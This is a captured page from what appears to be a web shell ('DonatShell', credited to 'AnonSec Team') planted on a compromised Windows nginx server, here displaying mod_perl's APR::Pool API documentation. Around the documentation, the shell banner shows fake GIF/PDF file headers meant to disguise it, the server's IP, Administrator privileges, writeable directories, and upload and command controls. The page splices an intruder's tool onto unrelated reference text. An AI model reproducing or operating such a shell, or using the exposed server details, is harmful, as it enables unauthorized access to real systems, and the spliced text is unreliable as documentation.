GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR/Pool.html
<?xml version="1.0" ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<!-- saved from url=(0017)http://localhost/ -->
<script language="JavaScript" src="../../../displayToc.js"></script>
<script language="JavaScript" src="../../../tocParas.js"></script>
<script language="JavaScript" src="../../../tocTab.js"></script>
<link rel="stylesheet" type="text/css" href="../../../scineplex.css">
<title>APR::Pool - Perl API for APR pools</title>
<link rel="stylesheet" href="../../../Active.css" type="text/css" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:" />
</head>

<body>


<!-- INDEX BEGIN -->
<div name="index">
<script>writelinks('__top__',3);</script>
<h1><a>APR::Pool - Perl API for APR pools</a></h1>
<p><a name="__index__"></a></p>


<ul>

	<li><a href="#name">NAME</a></li>
	<li><a href="#synopsis">Synopsis</a></li>
	<li><a href="#description">Description</a></li>
	<li><a href="#api">API</a></li>
	<ul>

		<li><a href="#cleanup_register"><code>cleanup_register</code></a></li>
		<li><a href="#clear"><code>clear</code></a></li>
		<li><a href="#destroy"><code>DESTROY</code></a></li>
		<li><a href="#destroy"><code>destroy</code></a></li>
		<li><a href="#is_ancestor"><code>is_ancestor</code></a></li>
		<li><a href="#new"><code>new</code></a></li>
		<li><a href="#parent_get"><code>parent_get</code></a></li>
		<li><a href="#tag"><code>tag</code></a></li>
	</ul>

	<li><a href="#unsupported_api">Unsupported API</a></li>
	<ul>

		<li><a href="#cleanup_for_exec"><code>cleanup_for_exec</code></a></li>
	</ul>

	<li><a href="#see_also">See Also</a></li>
	<li><a href="#copyright">Copyright</a></li>
	<li><a href="#authors">Authors</a></li>
</ul>

<hr name="index" />
</div>
<!-- INDEX END -->

<p>
</p>
<h1><a name="name">NAME</a></h1>
<p>APR::Pool - Perl API for APR pools</p>
<p>
</p>
<hr />
<h1><a name="synopsis">Synopsis</a></h1>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Pool</span> <span class="operator">();</span>
  
  <span class="keyword">my</span> <span class="variable">$sp</span> <span class="operator">=</span> <span class="variable">$r</span><span class="operator">-&gt;</span><span class="variable">pool</span><span class="operator">-&gt;</span><span class="variable">new</span><span class="operator">;</span>
  <span class="keyword">my</span> <span class="variable">$sp2</span> <span class="operator">=</span> <span class="variable">APR::Pool</span><span class="operator">-&gt;</span><span class="variable">new</span><span class="operator">;</span>
  
  <span class="comment"># $sp3 is a subpool of $sp,</span>
  <span class="comment"># which in turn is a subpool of $r-&gt;pool</span>
  <span class="variable">$sp3</span> <span class="operator">=</span> <span class="variable">$sp</span><span class="operator">-&gt;</span><span class="variable">new</span><span class="operator">;</span>
  <span class="keyword">print</span> <span class="string">'$r-&gt;pool is an ancestor of $sp3'</span>
      <span class="keyword">if</span> <span class="variable">$r</span><span class="operator">-&gt;</span><span class="variable">pool</span><span class="operator">-&gt;</span><span class="variable">is_ancestor</span><span class="operator">(</span><span class="variable">$sp3</span><span class="operator">);</span>
  <span class="comment"># but sp2 is not a sub-pool of $r-&gt;pool</span>
  <span class="keyword">print</span> <span class="string">'$r-&gt;pool is not an ancestor of $sp2'</span>
      <span class="keyword">unless</span> <span class="variable">$r</span><span class="operator">-&gt;</span><span class="variable">pool</span><span class="operator">-&gt;</span><span class="variable">is_ancestor</span><span class="operator">(</span><span class="variable">$sp2</span><span class="operator">);</span>
  
  <span class="comment"># $sp4 and $sp are the same pool (though you can't</span>
  <span class="comment"># compare the handle as variables)</span>
  <span class="keyword">my</span> <span class="variable">$sp4</span> <span class="operator">=</span> <span class="variable">$sp3</span><span class="operator">-&gt;</span><span class="variable">parent_get</span><span class="operator">;</span>
</pre>
<pre>
  <span class="comment"># register a dummy cleanup function</span>
  <span class="comment"># that just prints the passed args</span>
  <span class="variable">$sp</span><span class="operator">-&gt;</span><span class="variable">cleanup_register</span><span class="operator">(</span><span class="keyword">sub</span><span class="variable"> </span><span class="operator">{</span> <span class="keyword">print</span> <span class="variable">@</span><span class="operator">{</span> <span class="variable">$_</span><span class="operator">[</span><span class="number">0</span><span class="operator">]</span> <span class="operator">||</span> <span class="operator">[]</span> <span class="operator">}</span> <span class="operator">},</span> <span class="operator">[</span><span class="number">1</span><span class="operator">..</span><span class="number">3</span><span class="operator">]</span><span class="operator">);</span>
  
  <span class="comment"># tag the pool</span>
  <span class="variable">$sp</span><span class="operator">-&gt;</span><span class="variable">tag</span><span class="operator">(</span><span class="string">"My very best pool"</span><span class="operator">);</span>
  
  <span class="comment"># clear the pool</span>
  <span class="variable">$sp</span><span class="operator">-&gt;</span><span class="variable">clear</span><span class="operator">();</span>
  
  <span class="comment"># destroy sub pool</span>
  <span class="variable">$sp2</span><span class="operator">-&gt;</span><span class="variable">destroy</span><span class="operator">;</span>
</pre>
<p>
</p>
<hr />
<h1><a name="description">Description</a></h1>
<p><code>APR::Pool</code> provides an access to APR pools, which are used for an
easy memory management.</p>
<p>Different pools have different life scopes and therefore one doesn't
need to free allocated memory explicitly, but instead it's done when
the pool's life is getting to an end. For example a request pool is
created at the beginning of a request and destroyed at the end of it,
and all the memory allocated during the request processing using the
request pool is freed at once at the end of the request.</p>
<p>Most of the time you will just pass various pool objects to the
methods that require them. And you must understand the scoping of the
pools, since if you pass a long lived server pool to a method that
needs the memory only for a short scoped request, you are going to
leak memory. A request pool should be used in such a case. And vice
versa, if you need to allocate some memory for a scope longer than a
single request, then a request pool is inappropriate, since when the
request will be over, the memory will be freed and bad things may
happen.</p>
<p>If you need to create a new pool, you can always do that via the
<code>new()|/C_new_</code> method.</p>
<p>
</p>
<hr />
<h1><a name="api">API</a></h1>
<p><code>APR::Pool</code> provides the following functions and/or methods:</p>
<p>
</p>
<h2><a name="cleanup_register"><code>cleanup_register</code></a></h2>
<p>Register cleanup callback to run</p>
<pre>
  <span class="variable">$pool</span><span class="operator">-&gt;</span><span class="variable">cleanup_register</span><span class="operator">(</span><span class="variable">$callback</span><span class="operator">);</span>
  <span class="variable">$pool</span><span class="operator">-&gt;</span><span class="variable">cleanup_register</span><span class="operator">(</span><span class="variable">$callback</span><span class="operator">,</span> <span class="variable">$arg</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong><a name="pool" class="item">obj: <code>$pool</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</a></strong>

<dd>
<p>The pool object to register the cleanup callback for</p>
</dd>
</li>
<dt><strong><a name="callback" class="item">arg1: <code>$callback</code> ( CODE ref or sub name )</a></strong>

<dd>
<p>a cleanup callback CODE reference or just a name of the subroutine
(fully qualified unless defined in the current package).</p>
</dd>
</li>
<dt><strong><a name="arg" class="item">opt arg2: <code>$arg</code> ( SCALAR )</a></strong>

<dd>
<p>If this optional argument is passed, the <code>$callback</code> function will
receive it as the first and only argument when executed.</p>
</dd>
<dd>
<p>To pass more than one argument, use an ARRAY or a HASH reference</p>
</dd>
</li>
<dt><strong><a name="ret_no_return_value12" class="item">ret: no return value</a></strong>

<dt><strong><a name="excpt" class="item">excpt:</a></strong>

<dd>
<p>if the registered callback fails, it happens when the pool is
destroyed. The destruction is performed by Apache and it ignores any
failures. Even if it didn't ignore the failures, most of the time the
pool is destroyed when a request or connection handlers are long gone.
However the error <strong>is</strong> logged to <em class="file">error_log</em>, so if you monitor that
file you will spot if there are any problems with it.</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00250" class="item">since: 2.0.00</a></strong>

</dl>
<p>If there is more than one callback registered (when
<code>cleanup_register</code> is called more than once on the same pool object),
the last registered callback will be executed first (LIFO).</p>
<p>Examples:</p>
<p>No arguments, using anon sub as a cleanup callback:</p>
<pre>
  <span class="variable">$r</span><span class="operator">-&gt;</span><span class="variable">pool</span><span class="operator">-&gt;</span><span class="variable">cleanup_register</span><span class="operator">(</span><span class="keyword">sub</span><span class="variable"> </span><span class="operator">{</span> <span class="keyword">warn</span> <span class="string">"running cleanup"</span> <span class="operator">});</span>
</pre>
<p>One or more arguments using a cleanup code reference:</p>
<pre>
  <span class="variable">$r</span><span class="operator">-&gt;</span><span class="variable">pool</span><span class="operator">-&gt;</span><span class="variable">cleanup_register</span><span class="operator">(\&amp;</span><span class="variable">cleanup</span><span class="operator">,</span> <span class="variable">$r</span><span class="operator">);</span>
  <span class="variable">$r</span><span class="operator">-&gt;</span><span class="variable">pool</span><span class="operator">-&gt;</span><span class="variable">cleanup_register</span><span class="operator">(\&amp;</span><span class="variable">cleanup</span><span class="operator">,</span> <span class="operator">[</span><span class="variable">$r</span><span class="operator">,</span> <span class="variable">$foo</span><span class="operator">]</span><span class="operator">);</span>
  <span class="keyword">sub</span><span class="variable"> cleanup </span><span class="operator">{</span>
      <span class="keyword">my</span> <span class="variable">@args</span> <span class="operator">=</span> <span class="operator">(</span><span class="variable">@_</span> <span class="operator">&amp;&amp;</span> <span class="keyword">ref</span> <span class="variable">$_</span><span class="operator">[</span><span class="number">0</span><span class="operator">]</span> <span class="keyword">eq</span> <span class="variable">ARRAY</span><span class="operator">)</span> <span class="operator">?</span> <span class="variable">@</span><span class="operator">{</span> <span class="operator">+</span><span class="keyword">shift</span> <span class="operator">}</span> <span class="operator">:</span> <span class="keyword">shift</span><span class="operator">;</span>
      <span class="keyword">my</span> <span class="variable">$r</span> <span class="operator">=</span> <span class="keyword">shift</span> <span class="variable">@args</span><span class="operator">;</span>
      <span class="keyword">warn</span> <span class="string">"cleaning up"</span><span class="operator">;</span>
  <span class="operator">}</span>
</pre>
<p>No arguments, using a function name as a cleanup callback:</p>
<pre>
  <span class="variable">$r</span><span class="operator">-&gt;</span><span class="variable">pool</span><span class="operator">-&gt;</span><span class="variable">cleanup_register</span><span class="operator">(</span><span class="string">'foo'</span><span class="operator">);</span>
</pre>
<p>
</p>
<h2><a name="clear"><code>clear</code></a></h2>
<p>Clear all memory in the pool and run all the registered cleanups. This
also destroys all sub-pools.</p>
<pre>
  <span class="variable">$pool</span><span class="operator">-&gt;</span><span class="variable">clear</span><span class="operator">();</span>
</pre>
<dl>
<dt><strong>obj: <code>$pool</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</strong>

<dd>
<p>The pool to clear</p>
</dd>
</li>
<dt><strong><a name="ret_no_return_value13" class="item">ret: no return value</a></strong>

<dt><strong><a name="since_2_0_00251" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method differs from <code>destroy()|/C_destroy_</code> in that it is not
freeing the previously allocated, but allows the pool to re-use it for
the future memory allocations.</p>
<p>
</p>
<h2><a name="destroy"><code>DESTROY</code></a></h2>
<p><code>DESTROY</code> is an alias to <code>destroy|/C_destroy_</code>. It's there so
that custom <code>APR::Pool</code> objects will get properly cleaned up, when
the pool object goes out of scope. If you ever want to destroy an
<code>APR::Pool</code> object before it goes out of scope, use
<code>destroy|/C_destroy_</code>.</p>
<dl>
<dt><strong><a name="since_2_0_00252" class="item">since: 2.0.00</a></strong>

</dl>
<p>
</p>
<h2><a name="destroy"><code>destroy</code></a></h2>
<p>Destroy the pool.</p>
<pre>
  <span class="variable">$pool</span><span class="operator">-&gt;</span><span class="variable">destroy</span><span class="operator">();</span>
</pre>
<dl>
<dt><strong>obj: <code>$pool</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</strong>

<dd>
<p>The pool to destroy</p>
</dd>
</li>
<dt><strong><a name="ret_no_return_value14" class="item">ret: no return value</a></strong>

<dt><strong><a name="since_2_0_00253" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method takes a similar action to <code>clear()|/C_clear_</code> and then
frees all the memory.</p>
<p>
</p>
<h2><a name="is_ancestor"><code>is_ancestor</code></a></h2>
<p>Determine if pool a is an ancestor of pool b</p>
<pre>
  <span class="variable">$ret</span> <span class="operator">=</span> <span class="variable">$pool_a</span><span class="operator">-&gt;</span><span class="variable">is_ancestor</span><span class="operator">(</span><span class="variable">$pool_b</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong><a name="pool_a" class="item">obj: <code>$pool_a</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</a></strong>

<dd>
<p>The pool to search</p>
</dd>
</li>
<dt><strong><a name="pool_b" class="item">arg1: <code>$pool_b</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</a></strong>

<dd>
<p>The pool to search for</p>
</dd>
</li>
<dt><strong><a name="ret" class="item">ret: <code>$ret</code> ( integer )</a></strong>

<dd>
<p>True if <code>$pool_a</code> is an ancestor of <code>$pool_b</code>.</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00254" class="item">since: 2.0.00</a></strong>

</dl>
<p>For example create a sub-pool of a given pool and check that the pool
is an ancestor of that sub-pool:</p>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Pool</span> <span class="operator">();</span>
  <span class="keyword">my</span> <span class="variable">$pp</span> <span class="operator">=</span> <span class="variable">$r</span><span class="operator">-&gt;</span><span class="variable">pool</span><span class="operator">;</span>
  <span class="keyword">my</span> <span class="variable">$sp</span> <span class="operator">=</span> <span class="variable">$pp</span><span class="operator">-&gt;</span><span class="variable">new</span><span class="operator">();</span>
  <span class="variable">$pp</span><span class="operator">-&gt;</span><span class="variable">is_ancestor</span><span class="operator">(</span><span class="variable">$sp</span><span class="operator">)</span> <span class="keyword">or</span> <span class="keyword">die</span> <span class="string">"Don't mess with genes!"</span><span class="operator">;</span>
</pre>
<p>
</p>
<h2><a name="new"><code>new</code></a></h2>
<p>Create a new sub-pool</p>
<pre>
  <span class="keyword">my</span> <span class="variable">$pool_child</span> <span class="operator">=</span> <span class="variable">$pool_parent</span><span class="operator">-&gt;</span><span class="variable">new</span><span class="operator">;</span>
  <span class="keyword">my</span> <span class="variable">$pool_child</span> <span class="operator">=</span> <span class="variable">APR::Pool</span><span class="operator">-&gt;</span><span class="variable">new</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong><a name="pool_parent" class="item">obj: <code>$pool_parent</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</a></strong>

<dd>
<p>The parent pool.</p>
</dd>
<dd>
<p>If you don't have a parent pool to create the sub-pool from, you can
use this object method as a class method, in which case the sub-pool
will be created from the global pool:</p>
</dd>
<dd>
<pre>
  <span class="keyword">my</span> <span class="variable">$pool_child</span> <span class="operator">=</span> <span class="variable">APR::Pool</span><span class="operator">-&gt;</span><span class="variable">new</span><span class="operator">;</span>
</pre>
</dd>
</li>
<dt><strong><a name="pool_child" class="item">ret: <code>$pool_child</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</a></strong>

<dd>
<p>The child sub-pool</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00255" class="item">since: 2.0.00</a></strong>

</dl>
<p>
</p>
<h2><a name="parent_get"><code>parent_get</code></a></h2>
<p>Get the parent pool</p>
<pre>
  <span class="variable">$parent_pool</span> <span class="operator">=</span> <span class="variable">$child_pool</span><span class="operator">-&gt;</span><span class="variable">parent_get</span><span class="operator">();</span>
</pre>
<dl>
<dt><strong><a name="child_pool" class="item">obj: <code>$child_pool</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</a></strong>

<dd>
<p>the child pool</p>
</dd>
</li>
<dt><strong><a name="parent_pool" class="item">ret: <code>$parent_pool</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</a></strong>

<dd>
<p>the parent pool. <a href="../../../lib/pods/perlfunc.html#undef"><code>undef</code></a> if there is no parent pool (which is the
case for the top-most global pool).</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00256" class="item">since: 2.0.00</a></strong>

</dl>
<p>Example: Calculate how big is the pool's ancestry:</p>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Pool</span> <span class="operator">();</span>
  <span class="keyword">sub</span><span class="variable"> ancestry_count </span><span class="operator">{</span>
      <span class="keyword">my</span> <span class="variable">$child</span> <span class="operator">=</span> <span class="keyword">shift</span><span class="operator">;</span>
      <span class="keyword">my</span> <span class="variable">$gen</span> <span class="operator">=</span> <span class="number">0</span><span class="operator">;</span>
      <span class="keyword">while</span> <span class="operator">(</span><span class="keyword">my</span> <span class="variable">$parent</span> <span class="operator">=</span> <span class="variable">$child</span><span class="operator">-&gt;</span><span class="variable">parent_get</span><span class="operator">)</span> <span class="operator">{</span>
          <span class="variable">$gen</span><span class="operator">++;</span>
          <span class="variable">$child</span> <span class="operator">=</span> <span class="variable">$parent</span><span class="operator">;</span>
      <span class="operator">}</span>
      <span class="keyword">return</span> <span class="variable">$gen</span><span class="operator">;</span>
  <span class="operator">}</span>
</pre>
<p>
</p>
<h2><a name="tag"><a href="#tag"><code>tag</code></a></a></h2>
<p>Tag a pool (give it a name)</p>
<pre>
  <span class="variable">$pool</span><span class="operator">-&gt;</span><span class="variable">tag</span><span class="operator">(</span><span class="variable">$tag</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong>obj: <code>$pool</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</strong>

<dd>
<p>The pool to tag</p>
</dd>
</li>
<dt><strong><a name="tag" class="item">arg1: <code>$tag</code> ( string )</a></strong>

<dd>
<p>The tag (some unique string)</p>
</dd>
</li>
<dt><strong><a name="ret_no_return_value15" class="item">ret: no return value</a></strong>

<dt><strong><a name="since_2_0_00257" class="item">since: 2.0.00</a></strong>

</dl>
<p>Each pool can be tagged with a unique label. This can prove useful
when doing low level apr_pool C tracing (when apr is compiled with
<code>-DAPR_POOL_DEBUG</code>). It allows you to <a href="../../../lib/pods/perlfunc.html#grep"><code>grep(1)</code></a> for the tag you have
set, to single out the traces relevant to you.</p>
<p>Though there is no way to get read the tag value, since APR doesn't
provide such an accessor method.</p>
<p>
</p>
<hr />
<h1><a name="unsupported_api">Unsupported API</a></h1>
<p><code>APR::Pool</code> also provides auto-generated Perl interface for a few
other methods which aren't tested at the moment and therefore their
API is a subject to change. These methods will be finalized later as a
need arises. If you want to rely on any of the following methods
please contact the <a href="../../../maillist/dev.html">the mod_perl development mailing list</a> so we can help each other take the steps necessary
to shift the method to an officially supported API.</p>
<p>
</p>
<h2><a name="cleanup_for_exec"><code>cleanup_for_exec</code></a></h2>
<p>META: Autogenerated - needs to be reviewed/completed</p>
<p>Preparing for <a href="../../../lib/pods/perlfunc.html#exec"><code>exec()</code></a> --- close files, etc., but *don't* flush I/O
buffers, *don't* wait for subprocesses, and *don't* free any memory.
Run all of the child_cleanups, so that any unnecessary files are
closed because we are about to exec a new program</p>
<dl>
<dt><strong><a name="ret_no_return_value16" class="item">ret: no return value</a></strong>

<dt><strong><a name="since_subject_to_change3" class="item">since: subject to change</a></strong>

</dl>
<p>
</p>
<hr />
<h1><a name="see_also">See Also</a></h1>
<p><a href="../../../docs/2.0/index.html">mod_perl 2.0 documentation</a>.</p>
<p>
</p>
<hr />
<h1><a name="copyright">Copyright</a></h1>
<p>mod_perl 2.0 and its core modules are copyrighted under
The Apache Software License, Version 2.0.</p>
<p>
</p>
<hr />
<h1><a name="authors">Authors</a></h1>
<p><a href="../../../about/contributors/people.html">The mod_perl development team and numerous contributors</a>.</p>

</body>

</html>

Anon7 - 2022
AnonSec Team